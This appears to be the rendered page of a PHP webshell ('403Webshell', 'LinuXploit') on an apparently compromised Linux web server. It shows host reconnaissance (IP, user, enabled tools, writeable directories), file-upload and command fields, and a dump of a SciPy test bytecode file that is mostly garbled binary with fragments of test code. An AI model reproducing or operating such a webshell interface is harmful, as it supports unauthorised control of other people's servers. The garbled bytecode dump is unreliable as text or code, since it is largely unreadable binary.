403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/scipy/signal/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/scipy/signal/tests/__pycache__/test_upfirdn.cpython-311.pyc
�

d�c�+����ddlZddlmZddlmZmZddlmZ	ddlZddl
mZmZddl
mZmZddlmZdd	�ZGd
�d��ZeejejeefZGd�d
��Zd�ZdS)�N)�product)�assert_equal�assert_allclose)�raises)�upfirdn�firwin)�_output_len�_upfirdn_modes)�	_pad_test�c�2�tj|��}tjt|��|z|j��}||dd|�<tj||��dd|�dt
t|��t|��||���}|S)zpNaive upfirdn processing in Python.

    Note: arg order (x, h) differs to facilitate apply_along_axis use.
    N)�np�asarray�zeros�len�dtype�convolver	)�x�h�up�down�outs     �A/usr/lib/python3/dist-packages/scipy/signal/tests/test_upfirdn.py�
upfirdn_naiver/s���
	�
�1�
�
�A�
�(�3�q�6�6�B�;���
(�
(�C��C���"��I�
�+�a��
�
�f�f��f�
%�&L�{�3�q�6�6�3�q�6�6�2�t�'L�'L�&L�
M�C��J�c�&�eZdZdZd�Zd�Zdd�ZdS)�UpFIRDnCasezTest _UpFIRDn objectc��||_||_tj|��|_||_tj�d��|_dS)N�)	rrr�
atleast_1dr�x_dtype�random�RandomState�rng)�selfrrrr!s     r�__init__zUpFIRDnCase.__init__=sC�������	���q�!�!�������9�(�(��,�,����rc��|�tjd|j����|�tjd|j����|j�d���|j��}|jtjtjfvr |d|j�d��zz
}|�|��|�tj	d���|j����d}|jj|��|j��}|jtjtjfvr|d|jj|�zz
}tt|����D]}|�||����|dd�ddd�ddd�fj}tt|����D]}|�||����dS)Nr�
��?)�����axisr*r+)
�scrubr�onesr!r$�randn�astype�	complex64�
complex128�arange�ranger�T)r%r�sizer.s    r�__call__zUpFIRDnCase.__call__Ds����
�
�2�7�1�d�l�+�+�,�,�,��
�
�2�7�2�t�|�,�,�-�-�-��H�N�N�2���%�%�d�l�3�3���<�B�L�"�-�8�8�8�
��d�h�n�n�R�(�(�(�(�A��
�
�1�
�
�
��
�
�2�9�R�=�=�'�'���5�5�6�6�6����D�H�N�D�!�(�(���6�6���<�B�L�"�-�8�8�8�
��n�d�h�n�d�+�+�+�A��#�d�)�)�$�$�	%�	%�D��J�J�q�t�J�$�$�$�$�
�a�a�a���1��a�d��d�l�O����#�d�)�)�$�$�	%�	%�D��J�J�q�t�J�$�$�$�$�	%�	%r���c���tjt|||j|j|j��}t
t|j��|j||j|j��}|j||ksJ�t|j||j|j|���}|j||ksJ�|j|jksJ�|jj
|j
f}td�|D����r t|j
tj
��n�tj
|vr.tj|vr t|j
tj
��n�td�|D����r t|j
tj��n[tj|vstj
|vr t|j
tj��nt|j
tj��t#||��dS)Nr-c3�6K�|]}|tjkV��dS�N)rr3��.0�ds  r�	<genexpr>z$UpFIRDnCase.scrub.<locals>.<genexpr>ds)����1�1�Q�q�B�L� �1�1�1�1�1�1rc3�6K�|]}|tjkV��dSr=)r�float32r>s  rrAz$UpFIRDnCase.scrub.<locals>.<genexpr>hs(����1�1�Q��b�j��1�1�1�1�1�1r)r�apply_along_axisrrrrr	r�shaperr�allrr3rCr4�float64r)r%rr.�yr�want_len�y�dtypess       rr/zUpFIRDnCase.scrub[s���
�
 ���a�!%����$�)�=�=���s�4�6�{�{�A�G�D�M�4�7�D�I�N�N���x��~��)�)�)�)��D�F�A�t�w��	��=�=�=���w�t�}��(�(�(�(��w�"�(�"�"�"�"��&�,���(���1�1�&�1�1�1�1�1�		.����"�,�/�/�/�/�
�\�V�
#�
#��
�f�(<�(<����"�,�/�/�/�/�
�1�1�&�1�1�1�
1�
1�	.����"�*�-�-�-�-�
�]�f�
$�
$����(>�(>����"�-�0�0�0�0����"�*�-�-�-���A�����rN)r:)�__name__�
__module__�__qualname__�__doc__r&r9r/�rrrr;sL��������-�-�-�%�%�%�.�����rrc
�6�eZdZd�Zej�dgd���ej�dgd���d�����Zd�Zej�dddd	dgd
�fddddgd
�fddddgd�fddddgd�fdddd	gd�fg��d���Z	ej�dgd���d���Z
ej�de��ej�dd��ej�dgd���d�������Zej�de��ej�de��ej�de
edd������d �������Zd!�Zej�d"e��d#���Zej�d$ed%ggd&�eejejejejg����d'���Zd(S))�TestUpfirdnc���tttdgdgdd��tttgdgdd��tttdggdgdd��dS)Nrr)�
assert_raises�
ValueErrorr)r%s r�test_valid_inputzTestUpfirdn.test_valid_inputvs\���j�'�A�3���Q��:�:�:��j�'�2��s�A�q�9�9�9��j�'�Q�C�5�1�#�q�!�<�<�<�<�<r�len_h)rr*r+�r,�len_xc���tj|��}d||dz<tj|��}t||dd��}tj||dz|dz
dzfd��}t||��dS)N��?r*r�constant)rrr0r�padr)r%rWrYrrrJ�wants       r�test_singletonzTestUpfirdn.test_singleton{sy��
�H�U�O�O����%�1�*�
��G�E�N�N���A�q�!�Q�����v�a�%�1�*�u�q�y�Q�&6�7��D�D����4� � � � � rc��tddgdgdd��}t|ddg��tddgddgdd��}t|gd���dS)Nrr[g)rrr)rr)r%rJs  r�test_shift_xzTestUpfirdn.test_shift_x�sd���Q��F�R�D�!�Q�'�'����A�q�6�"�"�"��Q��F�R��H�a��+�+����9�9�9�%�%�%�%�%rz len_h, len_x, up, down, expectedr*r,)rrrrr+�)rrrrrrX)rrrrr)rrrrr�)rrrrrrrc��tj|��}d|d<tj|��}t||||��}t	||��dS)Nr[r)rrr0rr)	r%rWrYrr�expectedrrrJs	         r�test_length_factorszTestUpfirdn.test_length_factors�sP��
�H�U�O�O����!���G�E�N�N���A�q�"�d�#�#����8�$�$�$�$�$rzdown, want_len))r*i�)rci�)�O�c�R�tj�d��}ttjtjttf}d}|D]�}|�|���	|��}|tjtj
fvr|d|�|��zz
}tdd|zd���}t||d|��}	t||d|�	��}
|
j|fksJ�|	jd
|
jd
ksJ�t|	|
dd�����dS)
Nri'r)�r[�hamming)�windowr)rrrgH�����z>��atol�rtol)rr"r#�intrCr3�float�complexr1r2r4rrrrEr)r%rrI�random_state�	try_typesr8rrr�ylrJs           r�test_vs_convolvezTestUpfirdn.test_vs_convolve�s*���y�,�,�R�0�0���"�*�b�l�E�7�C�	����
	9�
	9�E��"�"�4�(�(�/�/��6�6�A����r�}�5�5�5��R�,�,�,�T�2�2�2�2���r�2��9�Y�7�7�7�A��q�!�Q��-�-�B���1���.�.�.�A��7�x�k�)�)�)�)��8�A�;�!�'�!�*�,�,�,�,��B���4�8�8�8�8�8�
	9�
	9rr!r)r[r)zup, down)�rr)r*r*)r+r*)r*r+c�:�t||||����dSr=)r)r%r!rrrs     r�test_vs_naive_deltazTestUpfirdn.test_vs_naive_delta�s&��	*��B��a��)�)�+�+�+�+�+r�h_dtypezp_max, q_max)r(�dc�T�|�||||��}|D]}|���
dSr=)�_random_factors)r%r!rz�p_max�q_max�tests�tests       r�
test_vs_naivezTestUpfirdn.test_vs_naive�sC��
�$�$�U�E�7�G�D�D���	�	�D��D�F�F�F�F�	�	rc	�:�d}d}tj�d��}g}t|��D]�}	||kr|nd}
||kr|nd}|�|��|
z}|�|��|z}
|�|��dz}tj|�|����}|�|��}|tkr|d|�|��zz
}|�t||
||������|S)Nr+�rrr))
rr"r#r6�randintr r2rr�appendr)r%r~rrzr!�n_rep�	longest_hrsr��_�p_add�q_add�p�qrWrs                rr}zTestUpfirdn._random_factors�s%�����	��y�,�,�R�0�0�����u���	8�	8�A�"�U�]�]�E�E��E�"�U�]�]�E�E��E��$�$�U�+�+�e�3�A��$�$�U�+�+�e�3�A�!�(�(��3�3�a�7�E��
�l�2�2�5�9�9�:�:�A�����!�!�A��'�!�!��R�,�.�.�u�5�5�5�5���L�L��Q��1�g�6�6�7�7�7�7��r�modec��tjgd�t���}d\}}t||||���}|dkrtjgd���}n�|dkrtjgd���}n�|d	krtjgd
���}n�|dkr�|d|d
z
t|��dz
z}|d
tj|d
d��|zz}|dtjd|dz��|zz}	tj|||	f��}ntj|||f|���}t||��dS)z@Test vs. manually computed results for modes not in numpy's pad.)rr*r+r�r)rbrb��npre�npostr��
antisymmetric)r+rr:������r:rr*r+rr:r�r�r:rr*�antireflect)rr*r+rr:rrr*r+rr:rrr*r+r�smooth)������r�r�r:rrr*r+rr:r�r�i����i����i�����liner:rr�r�N)
r�arrayrqrrrr5�concatenater]r)
r%r�rr�r�rJ�
y_expected�	lin_slope�left�rights
          r�test_extensionszTestUpfirdn.test_extensions�sm��
�H�\�\�\��/�/�/�����e��a�d�%�d�;�;�;���?�"�"���H�H�H�J�J�J�J�
�]�
"�
"���B�B�B�D�D�J�J�
�X�
�
���L�L�L�N�N�J�J�
�V�^�^��2���1���#�a�&�&�1�*�5�I��Q�4�"�)�T�E�1�a�0�0�9�<�<�D��b�E�B�I�a����3�3�i�?�?�E����q�%�(8�9�9�J�J����D�%�=�t�<�<�<�J���:�&�&�&�&�&rzsize, h_len, mode, dtype�)rXr,�c�v�tj�d��}|�|���|��}|tjtjfvr|d|�|��zz
}tjdd|z|jj	���}t||dd|���}|dz
}	|dvrt||	|	|���}
ntj||	|���}
t||
ddd	���}||	|	�}tj
|��jd
zx}
}t|||
|���dS)Nr,r)rr�)rrr�)r�r�r�r�r�r�r\gY@rm)rr"r#r1r2r3r4r5�realrrrr]�finfo�epsr)r%r8�h_lenr�rrsrrrJ�npad�xpad�ypadr�rnros               r�
test_modeszTestUpfirdn.test_modes�sC���y�,�,�Q�/�/�����t�$�$�+�+�E�2�2���R�\�2�=�1�1�1�
��l�(�(��.�.�.�.�A��I�a��U��!�&�,�7�7�7���A�q�Q�Q�T�2�2�2���q�y���E�E�E��Q�T��D�A�A�A�D�D��6�!�T��-�-�-�D��q�$�1�1�:�>�>�>���$��u�*�%�
��h�u�o�o�)�C�/�/��t���:�D�t�<�<�<�<�<�<rN)rLrMrNrV�pytest�mark�parametrizer_rarfrv�_UPFIRDN_TYPESry�listrr�r}r
r�rrCrGr3r4r�rPrrrRrRts�������=�=�=�
�[���W�o�o�o�6�6��[���W�o�o�o�6�6�!�!�7�6�7�6�!�&�&�&��[���?�	
�A�q�!�\�\�\�"�	
�A�q�!�_�_�_�%�	
�A�q�!�_�_�_�%�	
�A�q�!�_�_�_�%�	
�B��1�+�+�+�,�B���%�%���%��[���-�0�0�0���
9�9���
9�$�[���Y��7�7��[���S�(�+�+��[���Z�)I�)I�)I�J�J�,�,�K�J�,�+�8�7�,��[���Y��7�7��[���Y��7�7��[���^�!�T�'�'�)�Y�"?�"?�@�@�B�B���B�B�8�7�8�7��
���0�[���V�^�4�4�'�'�5�4�'�.�[���"���
�C��J�J��
�Z���R�\�2�=�A�		
�	
���=�=���=�=�=rrRc�J�d}d}d}d}t||||��}|dksJ�dS)Ni�i�i@i�i�6S)r	)rW�in_lenrr�out_lens     r�test_output_len_long_inputr�sD��
�E�
�F�	�B��D��%���T�2�2�G��h������rrw)�numpyr�	itertoolsr�
numpy.testingrrr�rrT�scipy.signalrr�scipy.signal._upfirdnr	r
�scipy.signal._upfirdn_applyrrrrprCr3rqrrr�rRr�rPrr�<module>r�s8��F����������7�7�7�7�7�7�7�7�*�*�*�*�*�*�
�
�
�
�(�(�(�(�(�(�(�(�=�=�=�=�=�=�=�=�1�1�1�1�1�1�	�	�	�	�3�3�3�3�3�3�3�3�l�r�z�2�<���@��]=�]=�]=�]=�]=�]=�]=�]=�@����r

Youez - 2016 - github.com/yon3zu
LinuXploit